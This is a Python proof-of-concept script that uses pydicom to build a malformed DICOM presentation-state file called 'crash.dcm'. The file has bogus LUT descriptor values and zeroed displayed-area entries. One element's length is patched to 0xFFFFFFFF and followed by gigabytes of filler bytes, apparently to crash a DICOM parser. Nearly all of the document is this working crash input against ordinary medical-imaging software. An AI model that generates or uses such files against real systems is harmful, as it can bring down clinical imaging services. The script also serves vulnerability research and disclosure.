from pydicom.dataset import Dataset, FileDataset, FileMetaDataset
from pydicom.sequence import Sequence
from pydicom.uid import generate_uid
from pydicom.uid import (
    ImplicitVRLittleEndian,
    GrayscaleSoftcopyPresentationStateStorage,
    PYDICOM_IMPLEMENTATION_UID,
)
import datetime
import os

FIND_MARKER = "X" * 2


def create_pr_dicom_with_graphic_layer(filename):
    file_meta = FileMetaDataset()
    file_meta.TransferSyntaxUID = ImplicitVRLittleEndian
    # Using Presentation State (1.2.840.10008.5.1.4.1.1.7.1) for Modality 'PR'
    file_meta.MediaStorageSOPClassUID = GrayscaleSoftcopyPresentationStateStorage
    file_meta.MediaStorageSOPInstanceUID = generate_uid()
    file_meta.ImplementationClassUID = PYDICOM_IMPLEMENTATION_UID
    file_meta.ImplementationVersionName = "PYDICOM"

    ds = FileDataset(
        filename,
        {},
        file_meta=file_meta,
        preamble=b"\0" * 128,
    )

    now = datetime.datetime.now()
    ds.ContentDate = ds.StudyDate = ds.SeriesDate = ds.AcquisitionDate = now.strftime(
        "%Y%m%d"
    )
    ds.ContentTime = ds.StudyTime = ds.SeriesTime = ds.AcquisitionTime = now.strftime(
        "%H%M%S.%f"
    )

    ds.SOPClassUID = file_meta.MediaStorageSOPClassUID
    ds.SOPInstanceUID = file_meta.MediaStorageSOPInstanceUID
    ds.StudyInstanceUID = generate_uid()
    ds.SeriesInstanceUID = generate_uid()

    # Patient/Study/Series/SOP Instance
    ds.PatientName = "Test^Patient"
    ds.PatientID = "123456"
    ds.StudyID = "1001"
    ds.SeriesNumber = "1"
    ds.InstanceNumber = "1"

    ds.Modality = "PR"

    # Create an empty sequence
    s = Sequence()

    i = Dataset()
    i.LUTDescriptor = [0xAAAA, 0xBBBB, 0xCCCC]
    i.LUTData = b"AAAABBBBCCCC"

    s.append(i)

    ds.PresentationLUTShape = "INVERSE"
    ds.PresentationLUTSequence = s

    # This will be replaced later with 0xFFFFFFFF values
    ds.add_new(0x00181600, "CS", FIND_MARKER)

    # displayedAreaSelectionList

    s2 = Sequence()

    def createDvpsDisplayedArea():
        i2 = Dataset()
        i2.DisplayedAreaTopLeftHandCorner = [0, 0]
        i2.DisplayedAreaBottomRightHandCorner = [0, 0]
        i2.PresentationSizeMode = "MAGNIFY"
        i2.PresentationPixelSpacing = [0.0, 0.0]
        i2.PresentationPixelAspectRatio = [0.0, 0.0]
        i2.PresentationPixelMagnificationRatio = [0.0]
        return i2

    s2.append(Dataset())
    s2.append(createDvpsDisplayedArea())
    ds.DisplayedAreaSelectionSequence = s2

    # presentationLabel
    ds.ContentLabel = "UNNAMED"
    # presentationCreationDate
    ds.PresentationCreationDate = "20240214"
    # presentationCreationTime
    ds.PresentationCreationTime = "00"

    ds.is_little_endian = True
    ds.is_implicit_vr = True

    ds.save_as(filename)

    print(f"Successfully created DICOM file: {filename}")
    print(f"Modality: {ds.Modality}")
    print(f"Transfer Syntax: {ds.file_meta.TransferSyntaxUID.name}")


filename = "crash.dcm"
if os.path.exists(filename):
    os.remove(filename)

create_pr_dicom_with_graphic_layer(filename)

# Fill up with addiional values
with open(filename, "r+b") as f:
    data = f.read()
    position = data.find(FIND_MARKER.encode())
    ender = data[position + len(FIND_MARKER) :]
    f.seek(position - 4)

    length = 0xFFFFFFFF
    import struct

    f.write(struct.pack("<I", length))

    f.write(b"X" * (length))
    f.write(ender)
